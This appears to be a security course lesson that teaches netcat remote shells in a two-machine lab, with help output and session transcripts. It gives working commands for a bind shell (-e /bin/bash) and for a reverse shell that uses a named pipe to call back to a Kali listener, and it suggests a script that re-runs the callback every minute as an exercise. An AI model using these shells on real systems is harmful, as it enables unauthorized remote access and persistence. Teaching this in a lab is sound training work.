04- Basic Netcat Shells
Netcat can be used in a large number of ways to provide remote access to a system. In fact, netcat is so powerful and there are so many ways to use netcat to accomplish this kind of task, that students often become overwhelmed with the number of options. Moreover, because netcat has been around for quite a while, there are now a few slightly different versions of netcat, many of which have been nerfed to prevent them from being simply used to provide a remote shell.
Ye Olden Method
The simplest way to use netcat to provide a shell is through the use of the -e
flag. The catch is that this is often not supported by the versions of netcat you would find in a repository. For example, if you have a CentOS 6.2 system and install netcat via yum in the usual fashion
[root@localhost ~]# yum search netcat Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: centos.mirror.facebook.net * extras: centos.eecs.wsu.edu * updates: centos-distro.cavecreek.net =============================== Matched: netcat ================================ nc.x86_64 : Reads and writes data across network connections using TCP or UDP nmap.x86_64 : Network exploration tool and security scanner [root@localhost ~]# yum install nc.x86_64 <--- DELETED ---> Running Transaction Installing : nc-1.84-22.el6.x86_64 1/1 Installed: nc.x86_64 0:1.84-22.el6
Then a simple check of the available options will show that the -e
switch is not present:
[adent@localhost ~]$ nc -h usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] Command Summary: -4 Use IPv4 -6 Use IPv6 -D Enable the debug socket option -d Detach from stdin -h This help text -i secs Delay interval for lines sent, ports scanned -k Keep inbound sockets open for multiple connects -l Listen mode, for inbound connects -n Suppress name/port resolutions -p port Specify local port for remote connects -r Randomize remote ports -S Enable the TCP MD5 signature option -s addr Local source address -T ToS Set IP Type of Service -C Send CRLF as line-ending -t Answer TELNET negotiation -U Use UNIX domain socket -u UDP mode -v Verbose -w secs Timeout for connects and final net reads -X proto Proxy protocol: "4", "5" (SOCKS) or "connect" -x addr[:port] Specify proxy address and port -z Zero-I/O mode [used for scanning] Port numbers can be individual or ranges: lo-hi [inclusive]
However, we can demonstrate the -e
switch on a Kali system, which uses a slightly different version:
root@kali:~# nc -h [v1.10-40] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive]; hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
Suppose we want to connect from the CentOS system (10.0.2.133) to a shell on the Kali system (10.0.2.130) using the -e
switch. In this case, on the Kali system run
root@kali:~# nc -l -p 443 -e /bin/bash
This sets up a listener (-l
) on TCP port 443 (-p 443
) and passes the results to /bin/bash
(-e /bin/bash
).
On the remote CentOS system, we use netcat to connect, and simple run
[adent@localhost ~]$ nc 10.0.2.130 443
Here we specify the address of the remote system (10.0.2.130) and the remote port (443) to which we cant to connect.
Once the connection is made, the system will not respond with a prompt, or do anything at all for that matter. However, command can be sent to the remote system and their results returned, without any extra line spaces or pretty formatting. If we want to check our current working directory and then list the files, we simply run those commands:
[adent@localhost ~]$ nc 10.0.2.130 443 pwd /root ls Desktop jAfOYWId.jpeg test.png VMwareTools-9.6.1-1378637.tar.gz vmware-tools-distrib
Here you can see that netcat was started in the directory /root
, and that directory contains the leftovers of a VMWare tools installation and a few screenshots from previous Metasploit games on the remote system.
One catch about netcat shells- one you disconnect from them, the original netcat command on the remote system will also terminate.
Using Named Pipes
Of course, you usually do not use netcat to connect from a remote system to a shell on a Kali system; in fact usually you want to use Kali to access a shell on a remote system, not the reverse. Since the default netcat on CentOS does not allow us to pass the data received from netcat on to a shell, what can we do?
The answer is to use a named pipe. We will send the output from netcat off to a named pipe, which will then be piped to /bin/bash
with the output sent back to the named pipe. Magic!
Suppose we want to connect from the Kali system (10.0.2.130) to a shell on the CentOS system (10.0.2.133) without using -e
.
First, set up a listener on the Kali system
root@kali:~# nc -l -p 443
We will have the CentOS system call out to Kali and present it with our shell, and so avoid any firewall entanglements.
On the CentOS system, start by creating a named pipe; then connect netcat to the pipe to /bin/bash
and back as follows
[adent@localhost ~]$ mkfifo /tmp/xxz [adent@localhost ~]$ nc 10.0.2.130 443 0>/tmp/xxz | /bin/bash 1</tmp/xxz
Then, back on your Kali system you can interact with the shell as we did before:
root@kali:~# nc -l -p 443 pwd /home/adent ls Desktop Documents Downloads Music Pictures Public Templates Videos whoami adent
Remember though, that your listener on the Kali system must be up and running before you run your netcat on the CentOS system. You only have one shot- if the listener fails or disconnects, then you will not get your shell.
The simplest thing to do here is to wrap the code on the CentOS system in some sort of script, say a bash script to run these commands every minute or so. Setting up such a script is left as an exercise for the interested student.